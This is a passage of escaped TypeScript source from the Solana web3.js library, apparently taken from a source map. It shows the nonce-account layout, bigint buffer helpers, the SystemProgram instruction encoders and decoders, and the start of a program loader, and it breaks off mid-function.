BufferLayout.struct<Readonly<{lamportsPerSignature: number}>>(\n [FeeCalculatorLayout],\n 'feeCalculator',\n ),\n]);\n\nexport const NONCE_ACCOUNT_LENGTH = NonceAccountLayout.span;\n\n/**\n * A durable nonce is a 32 byte value encoded as a base58 string.\n */\nexport type DurableNonce = string;\n\ntype NonceAccountArgs = {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n};\n\n/**\n * NonceAccount class\n */\nexport class NonceAccount {\n authorizedPubkey: PublicKey;\n nonce: DurableNonce;\n feeCalculator: FeeCalculator;\n\n /**\n * @internal\n */\n constructor(args: NonceAccountArgs) {\n this.authorizedPubkey = args.authorizedPubkey;\n this.nonce = args.nonce;\n this.feeCalculator = args.feeCalculator;\n }\n\n /**\n * Deserialize NonceAccount from the account data.\n *\n * @param buffer account data\n * @return NonceAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): NonceAccount {\n const nonceAccount = NonceAccountLayout.decode(toBuffer(buffer), 0);\n return new NonceAccount({\n authorizedPubkey: new PublicKey(nonceAccount.authorizedPubkey),\n nonce: new PublicKey(nonceAccount.nonce).toString(),\n feeCalculator: nonceAccount.feeCalculator,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {blob, Layout} from '@solana/buffer-layout';\nimport {toBigIntLE, toBufferLE} from 'bigint-buffer';\n\ninterface EncodeDecode<T> {\n decode(buffer: Buffer, offset?: number): T;\n encode(src: T, buffer: Buffer, offset?: number): number;\n}\n\nconst encodeDecode = <T>(layout: Layout<T>): EncodeDecode<T> => {\n const decode = layout.decode.bind(layout);\n const encode = layout.encode.bind(layout);\n return {decode, encode};\n};\n\nconst bigInt =\n (length: number) =>\n (property?: string): Layout<bigint> => {\n const layout = blob(length, property);\n const {encode, decode} = encodeDecode(layout);\n\n const bigIntLayout = layout as Layout<unknown> as Layout<bigint>;\n\n bigIntLayout.decode = (buffer: Buffer, offset: number) => {\n const src = decode(buffer, offset);\n return toBigIntLE(Buffer.from(src));\n };\n\n bigIntLayout.encode = (bigInt: bigint, buffer: Buffer, offset: number) => {\n const src = toBufferLE(bigInt, length);\n return encode(src, buffer, offset);\n };\n\n return bigIntLayout;\n };\n\nexport const u64 = bigInt(8);\n\nexport const u128 = bigInt(16);\n\nexport const u192 = bigInt(24);\n\nexport const u256 = bigInt(32);\n","import * as BufferLayout from '@solana/buffer-layout';\n\nimport {\n encodeData,\n decodeData,\n InstructionType,\n IInstructionInputData,\n} from '../instruction';\nimport * as Layout from '../layout';\nimport {NONCE_ACCOUNT_LENGTH} from '../nonce-account';\nimport {PublicKey} from '../publickey';\nimport {SYSVAR_RECENT_BLOCKHASHES_PUBKEY, SYSVAR_RENT_PUBKEY} from '../sysvar';\nimport {Transaction, TransactionInstruction} from '../transaction';\nimport {toBuffer} from '../utils/to-buffer';\nimport {u64} from '../utils/bigint';\n\n/**\n * Create account system transaction params\n */\nexport type CreateAccountParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account */\n newAccountPubkey: PublicKey;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Transfer system transaction params\n */\nexport type TransferParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n};\n\n/**\n * Assign system transaction params\n */\nexport type AssignParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Create account with seed system transaction params\n */\nexport type CreateAccountWithSeedParams = {\n /** The account that will transfer lamports to the created account */\n fromPubkey: PublicKey;\n /** Public key of the created account. Must be pre-calculated with PublicKey.createWithSeed() */\n newAccountPubkey: PublicKey;\n /** Base public key to use to derive the address of the created account. Must be the same as the base key used to create `newAccountPubkey` */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the created account. Must be the same as the seed used to create `newAccountPubkey` */\n seed: string;\n /** Amount of lamports to transfer to the created account */\n lamports: number;\n /** Amount of space in bytes to allocate to the created account */\n space: number;\n /** Public key of the program to assign as the owner of the created account */\n programId: PublicKey;\n};\n\n/**\n * Create nonce account system transaction params\n */\nexport type CreateNonceAccountParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n};\n\n/**\n * Create nonce account with seed system transaction params\n */\nexport type CreateNonceAccountWithSeedParams = {\n /** The account that will transfer lamports to the created nonce account */\n fromPubkey: PublicKey;\n /** Public key of the created nonce account */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the created nonce account */\n authorizedPubkey: PublicKey;\n /** Amount of lamports to transfer to the created nonce account */\n lamports: number;\n /** Base public key to use to derive the address of the nonce account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the nonce account */\n seed: string;\n};\n\n/**\n * Initialize nonce account system instruction params\n */\nexport type InitializeNonceParams = {\n /** Nonce account which will be initialized */\n noncePubkey: PublicKey;\n /** Public key to set as authority of the initialized nonce account */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Advance nonce account system instruction params\n */\nexport type AdvanceNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n};\n\n/**\n * Withdraw nonce account system transaction params\n */\nexport type WithdrawNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key of the account which will receive the withdrawn nonce account balance */\n toPubkey: PublicKey;\n /** Amount of lamports to withdraw from the nonce account */\n lamports: number;\n};\n\n/**\n * Authorize nonce account system transaction params\n */\nexport type AuthorizeNonceParams = {\n /** Nonce account */\n noncePubkey: PublicKey;\n /** Public key of the current nonce authority */\n authorizedPubkey: PublicKey;\n /** Public key to set as the new nonce authority */\n newAuthorizedPubkey: PublicKey;\n};\n\n/**\n * Allocate account system transaction params\n */\nexport type AllocateParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Amount of space in bytes to allocate */\n space: number;\n};\n\n/**\n * Allocate account with seed system transaction params\n */\nexport type AllocateWithSeedParams = {\n /** Account to allocate */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the allocated account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the allocated account */\n seed: string;\n /** Amount of space in bytes to allocate */\n space: number;\n /** Public key of the program to assign as the owner of the allocated account */\n programId: PublicKey;\n};\n\n/**\n * Assign account with seed system transaction params\n */\nexport type AssignWithSeedParams = {\n /** Public key of the account which will be assigned a new owner */\n accountPubkey: PublicKey;\n /** Base public key to use to derive the address of the assigned account */\n basePubkey: PublicKey;\n /** Seed to use to derive the address of the assigned account */\n seed: string;\n /** Public key of the program to assign as the owner */\n programId: PublicKey;\n};\n\n/**\n * Transfer with seed system transaction params\n */\nexport type TransferWithSeedParams = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: number | bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/** Decoded transfer system transaction instruction */\nexport type DecodedTransferInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n};\n\n/** Decoded transferWithSeed system transaction instruction */\nexport type DecodedTransferWithSeedInstruction = {\n /** Account that will transfer lamports */\n fromPubkey: PublicKey;\n /** Base public key to use to derive the funding account address */\n basePubkey: PublicKey;\n /** Account that will receive transferred lamports */\n toPubkey: PublicKey;\n /** Amount of lamports to transfer */\n lamports: bigint;\n /** Seed to use to derive the funding account address */\n seed: string;\n /** Program id to use to derive the funding account address */\n programId: PublicKey;\n};\n\n/**\n * System Instruction class\n */\nexport class SystemInstruction {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Decode a system instruction and retrieve the instruction type.\n */\n static decodeInstructionType(\n instruction: TransactionInstruction,\n ): SystemInstructionType {\n this.checkProgramId(instruction.programId);\n\n const instructionTypeLayout = BufferLayout.u32('instruction');\n const typeIndex = instructionTypeLayout.decode(instruction.data);\n\n let type: SystemInstructionType | undefined;\n for (const [ixType, layout] of Object.entries(SYSTEM_INSTRUCTION_LAYOUTS)) {\n if (layout.index == typeIndex) {\n type = ixType as SystemInstructionType;\n break;\n }\n }\n\n if (!type) {\n throw new Error('Instruction type incorrect; not a SystemInstruction');\n }\n\n return type;\n }\n\n /**\n * Decode a create account system instruction and retrieve the instruction params.\n */\n static decodeCreateAccount(\n instruction: TransactionInstruction,\n ): CreateAccountParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Create,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a transfer system instruction and retrieve the instruction params.\n */\n static decodeTransfer(\n instruction: TransactionInstruction,\n ): DecodedTransferInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Transfer,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a transfer with seed system instruction and retrieve the instruction params.\n */\n static decodeTransferWithSeed(\n instruction: TransactionInstruction,\n ): DecodedTransferWithSeedInstruction {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {lamports, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n basePubkey: instruction.keys[1].pubkey,\n toPubkey: instruction.keys[2].pubkey,\n lamports,\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an allocate system instruction and retrieve the instruction params.\n */\n static decodeAllocate(instruction: TransactionInstruction): AllocateParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {space} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Allocate,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n space,\n };\n }\n\n /**\n * Decode an allocate with seed system instruction and retrieve the instruction params.\n */\n static decodeAllocateWithSeed(\n instruction: TransactionInstruction,\n ): AllocateWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign system instruction and retrieve the instruction params.\n */\n static decodeAssign(instruction: TransactionInstruction): AssignParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.Assign,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode an assign with seed system instruction and retrieve the instruction params.\n */\n static decodeAssignWithSeed(\n instruction: TransactionInstruction,\n ): AssignWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 1);\n\n const {base, seed, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed,\n instruction.data,\n );\n\n return {\n accountPubkey: instruction.keys[0].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a create account with seed system instruction and retrieve the instruction params.\n */\n static decodeCreateWithSeed(\n instruction: TransactionInstruction,\n ): CreateAccountWithSeedParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {base, seed, lamports, space, programId} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed,\n instruction.data,\n );\n\n return {\n fromPubkey: instruction.keys[0].pubkey,\n newAccountPubkey: instruction.keys[1].pubkey,\n basePubkey: new PublicKey(base),\n seed,\n lamports,\n space,\n programId: new PublicKey(programId),\n };\n }\n\n /**\n * Decode a nonce initialize system instruction and retrieve the instruction params.\n */\n static decodeNonceInitialize(\n instruction: TransactionInstruction,\n ): InitializeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * Decode a nonce advance system instruction and retrieve the instruction params.\n */\n static decodeNonceAdvance(\n instruction: TransactionInstruction,\n ): AdvanceNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 3);\n\n decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[2].pubkey,\n };\n }\n\n /**\n * Decode a nonce withdraw system instruction and retrieve the instruction params.\n */\n static decodeNonceWithdraw(\n instruction: TransactionInstruction,\n ): WithdrawNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 5);\n\n const {lamports} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n toPubkey: instruction.keys[1].pubkey,\n authorizedPubkey: instruction.keys[4].pubkey,\n lamports,\n };\n }\n\n /**\n * Decode a nonce authorize system instruction and retrieve the instruction params.\n */\n static decodeNonceAuthorize(\n instruction: TransactionInstruction,\n ): AuthorizeNonceParams {\n this.checkProgramId(instruction.programId);\n this.checkKeyLength(instruction.keys, 2);\n\n const {authorized} = decodeData(\n SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount,\n instruction.data,\n );\n\n return {\n noncePubkey: instruction.keys[0].pubkey,\n authorizedPubkey: instruction.keys[1].pubkey,\n newAuthorizedPubkey: new PublicKey(authorized),\n };\n }\n\n /**\n * @internal\n */\n static checkProgramId(programId: PublicKey) {\n if (!programId.equals(SystemProgram.programId)) {\n throw new Error('invalid instruction; programId is not SystemProgram');\n }\n }\n\n /**\n * @internal\n */\n static checkKeyLength(keys: Array<any>, expectedLength: number) {\n if (keys.length < expectedLength) {\n throw new Error(\n `invalid instruction; found ${keys.length} keys, expected at least ${expectedLength}`,\n );\n }\n }\n}\n\n/**\n * An enumeration of valid SystemInstructionType's\n */\nexport type SystemInstructionType =\n // FIXME\n // It would be preferable for this type to be `keyof SystemInstructionInputData`\n // but Typedoc does not transpile `keyof` expressions.\n // See https://github.com/TypeStrong/typedoc/issues/1894\n | 'AdvanceNonceAccount'\n | 'Allocate'\n | 'AllocateWithSeed'\n | 'Assign'\n | 'AssignWithSeed'\n | 'AuthorizeNonceAccount'\n | 'Create'\n | 'CreateWithSeed'\n | 'InitializeNonceAccount'\n | 'Transfer'\n | 'TransferWithSeed'\n | 'WithdrawNonceAccount'\n | 'UpgradeNonceAccount';\n\ntype SystemInstructionInputData = {\n AdvanceNonceAccount: IInstructionInputData;\n Allocate: IInstructionInputData & {\n space: number;\n };\n AllocateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n Assign: IInstructionInputData & {\n programId: Uint8Array;\n };\n AssignWithSeed: IInstructionInputData & {\n base: Uint8Array;\n seed: string;\n programId: Uint8Array;\n };\n AuthorizeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Create: IInstructionInputData & {\n lamports: number;\n programId: Uint8Array;\n space: number;\n };\n CreateWithSeed: IInstructionInputData & {\n base: Uint8Array;\n lamports: number;\n programId: Uint8Array;\n seed: string;\n space: number;\n };\n InitializeNonceAccount: IInstructionInputData & {\n authorized: Uint8Array;\n };\n Transfer: IInstructionInputData & {\n lamports: bigint;\n };\n TransferWithSeed: IInstructionInputData & {\n lamports: bigint;\n programId: Uint8Array;\n seed: string;\n };\n WithdrawNonceAccount: IInstructionInputData & {\n lamports: number;\n };\n UpgradeNonceAccount: IInstructionInputData;\n};\n\n/**\n * An enumeration of valid system InstructionType's\n * @internal\n */\nexport const SYSTEM_INSTRUCTION_LAYOUTS = Object.freeze<{\n [Instruction in SystemInstructionType]: InstructionType<\n SystemInstructionInputData[Instruction]\n >;\n}>({\n Create: {\n index: 0,\n layout: BufferLayout.struct<SystemInstructionInputData['Create']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n Assign: {\n index: 1,\n layout: BufferLayout.struct<SystemInstructionInputData['Assign']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('programId'),\n ]),\n },\n Transfer: {\n index: 2,\n layout: BufferLayout.struct<SystemInstructionInputData['Transfer']>([\n BufferLayout.u32('instruction'),\n u64('lamports'),\n ]),\n },\n CreateWithSeed: {\n index: 3,\n layout: BufferLayout.struct<SystemInstructionInputData['CreateWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('lamports'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ]),\n },\n AdvanceNonceAccount: {\n index: 4,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AdvanceNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n WithdrawNonceAccount: {\n index: 5,\n layout: BufferLayout.struct<\n SystemInstructionInputData['WithdrawNonceAccount']\n >([BufferLayout.u32('instruction'), BufferLayout.ns64('lamports')]),\n },\n InitializeNonceAccount: {\n index: 6,\n layout: BufferLayout.struct<\n SystemInstructionInputData['InitializeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n AuthorizeNonceAccount: {\n index: 7,\n layout: BufferLayout.struct<\n SystemInstructionInputData['AuthorizeNonceAccount']\n >([BufferLayout.u32('instruction'), Layout.publicKey('authorized')]),\n },\n Allocate: {\n index: 8,\n layout: BufferLayout.struct<SystemInstructionInputData['Allocate']>([\n BufferLayout.u32('instruction'),\n BufferLayout.ns64('space'),\n ]),\n },\n AllocateWithSeed: {\n index: 9,\n layout: BufferLayout.struct<SystemInstructionInputData['AllocateWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n BufferLayout.ns64('space'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n AssignWithSeed: {\n index: 10,\n layout: BufferLayout.struct<SystemInstructionInputData['AssignWithSeed']>([\n BufferLayout.u32('instruction'),\n Layout.publicKey('base'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ]),\n },\n TransferWithSeed: {\n index: 11,\n layout: BufferLayout.struct<SystemInstructionInputData['TransferWithSeed']>(\n [\n BufferLayout.u32('instruction'),\n u64('lamports'),\n Layout.rustString('seed'),\n Layout.publicKey('programId'),\n ],\n ),\n },\n UpgradeNonceAccount: {\n index: 12,\n layout: BufferLayout.struct<\n SystemInstructionInputData['UpgradeNonceAccount']\n >([BufferLayout.u32('instruction')]),\n },\n});\n\n/**\n * Factory class for transactions to interact with the System program\n */\nexport class SystemProgram {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Public key that identifies the System program\n */\n static programId: PublicKey = new PublicKey(\n '11111111111111111111111111111111',\n );\n\n /**\n * Generate a transaction instruction that creates a new account\n */\n static createAccount(params: CreateAccountParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Create;\n const data = encodeData(type, {\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: true, isWritable: true},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that transfers lamports from one account to another\n */\n static transfer(\n params: TransferParams | TransferWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.TransferWithSeed;\n data = encodeData(type, {\n lamports: BigInt(params.lamports),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.fromPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Transfer;\n data = encodeData(type, {lamports: BigInt(params.lamports)});\n keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n ];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that assigns an account to a program\n */\n static assign(\n params: AssignParams | AssignWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AssignWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Assign;\n data = encodeData(type, {\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that creates a new account at\n * an address generated with `from`, a seed, and programId\n */\n static createAccountWithSeed(\n params: CreateAccountWithSeedParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.CreateWithSeed;\n const data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n lamports: params.lamports,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n let keys = [\n {pubkey: params.fromPubkey, isSigner: true, isWritable: true},\n {pubkey: params.newAccountPubkey, isSigner: false, isWritable: true},\n ];\n if (!params.basePubkey.equals(params.fromPubkey)) {\n keys.push({\n pubkey: params.basePubkey,\n isSigner: true,\n isWritable: false,\n });\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction that creates a new Nonce account\n */\n static createNonceAccount(\n params: CreateNonceAccountParams | CreateNonceAccountWithSeedParams,\n ): Transaction {\n const transaction = new Transaction();\n if ('basePubkey' in params && 'seed' in params) {\n transaction.add(\n SystemProgram.createAccountWithSeed({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n basePubkey: params.basePubkey,\n seed: params.seed,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n } else {\n transaction.add(\n SystemProgram.createAccount({\n fromPubkey: params.fromPubkey,\n newAccountPubkey: params.noncePubkey,\n lamports: params.lamports,\n space: NONCE_ACCOUNT_LENGTH,\n programId: this.programId,\n }),\n );\n }\n\n const initParams = {\n noncePubkey: params.noncePubkey,\n authorizedPubkey: params.authorizedPubkey,\n };\n\n transaction.add(this.nonceInitialize(initParams));\n return transaction;\n }\n\n /**\n * Generate an instruction to initialize a Nonce account\n */\n static nonceInitialize(\n params: InitializeNonceParams,\n ): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.InitializeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.authorizedPubkey.toBuffer()),\n });\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: SYSVAR_RENT_PUBKEY, isSigner: false, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate an instruction to advance the nonce in a Nonce account\n */\n static nonceAdvance(params: AdvanceNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AdvanceNonceAccount;\n const data = encodeData(type);\n const instructionData = {\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n };\n return new TransactionInstruction(instructionData);\n }\n\n /**\n * Generate a transaction instruction that withdraws lamports from a Nonce account\n */\n static nonceWithdraw(params: WithdrawNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.WithdrawNonceAccount;\n const data = encodeData(type, {lamports: params.lamports});\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.toPubkey, isSigner: false, isWritable: true},\n {\n pubkey: SYSVAR_RECENT_BLOCKHASHES_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {\n pubkey: SYSVAR_RENT_PUBKEY,\n isSigner: false,\n isWritable: false,\n },\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that authorizes a new PublicKey as the authority\n * on a Nonce account.\n */\n static nonceAuthorize(params: AuthorizeNonceParams): TransactionInstruction {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AuthorizeNonceAccount;\n const data = encodeData(type, {\n authorized: toBuffer(params.newAuthorizedPubkey.toBuffer()),\n });\n\n return new TransactionInstruction({\n keys: [\n {pubkey: params.noncePubkey, isSigner: false, isWritable: true},\n {pubkey: params.authorizedPubkey, isSigner: true, isWritable: false},\n ],\n programId: this.programId,\n data,\n });\n }\n\n /**\n * Generate a transaction instruction that allocates space in an account without funding\n */\n static allocate(\n params: AllocateParams | AllocateWithSeedParams,\n ): TransactionInstruction {\n let data;\n let keys;\n if ('basePubkey' in params) {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.AllocateWithSeed;\n data = encodeData(type, {\n base: toBuffer(params.basePubkey.toBuffer()),\n seed: params.seed,\n space: params.space,\n programId: toBuffer(params.programId.toBuffer()),\n });\n keys = [\n {pubkey: params.accountPubkey, isSigner: false, isWritable: true},\n {pubkey: params.basePubkey, isSigner: true, isWritable: false},\n ];\n } else {\n const type = SYSTEM_INSTRUCTION_LAYOUTS.Allocate;\n data = encodeData(type, {\n space: params.space,\n });\n keys = [{pubkey: params.accountPubkey, isSigner: true, isWritable: true}];\n }\n\n return new TransactionInstruction({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport * as BufferLayout from '@solana/buffer-layout';\n\nimport {PublicKey} from './publickey';\nimport {Transaction, PACKET_DATA_SIZE} from './transaction';\nimport {MS_PER_SLOT} from './timing';\nimport {SYSVAR_RENT_PUBKEY} from './sysvar';\nimport {sendAndConfirmTransaction} from './utils/send-and-confirm-transaction';\nimport {sleep} from './utils/sleep';\nimport type {Connection} from './connection';\nimport type {Signer} from './keypair';\nimport {SystemProgram} from './programs/system';\nimport {IInstructionInputData} from './instruction';\n\n// Keep program chunks under PACKET_DATA_SIZE, leaving enough room for the\n// rest of the Transaction fields\n//\n// TODO: replace 300 with a proper constant for the size of the other\n// Transaction fields\nconst CHUNK_SIZE = PACKET_DATA_SIZE - 300;\n\n/**\n * Program loader interface\n */\nexport class Loader {\n /**\n * @internal\n */\n constructor() {}\n\n /**\n * Amount of program data placed in each load Transaction\n */\n static chunkSize: number = CHUNK_SIZE;\n\n /**\n * Minimum number of signatures required to load a program not including\n * retries\n *\n * Can be used to calculate transaction fees\n */\n static getMinNumSignatures(dataLength: number): number {\n return (\n 2 * // Every transaction requires two signatures (payer + program)\n (Math.ceil(dataLength / Loader.chunkSize) +\n 1 + // Add one for Create transaction\n 1) // Add one for Finalize transaction\n );\n }\n\n /**\n * Loads a generic program\n *\n * @param connection The connection to use\n * @param payer System account that pays to load the program\n * @param program Account to load the program into\n * @param programId Public key that identifies the loader\n * @param data Program octets\n * @return true if program was loaded successfully, false if program was already loaded\n */\n static async load(\n connection: Connection,\n payer: Signer,\n program: Signer,\n programId: PublicKey,\n data: Buffer | Uint8Array | Array<number>,\n ): Promise<boolean> {\n {\n const balanceNeeded = await 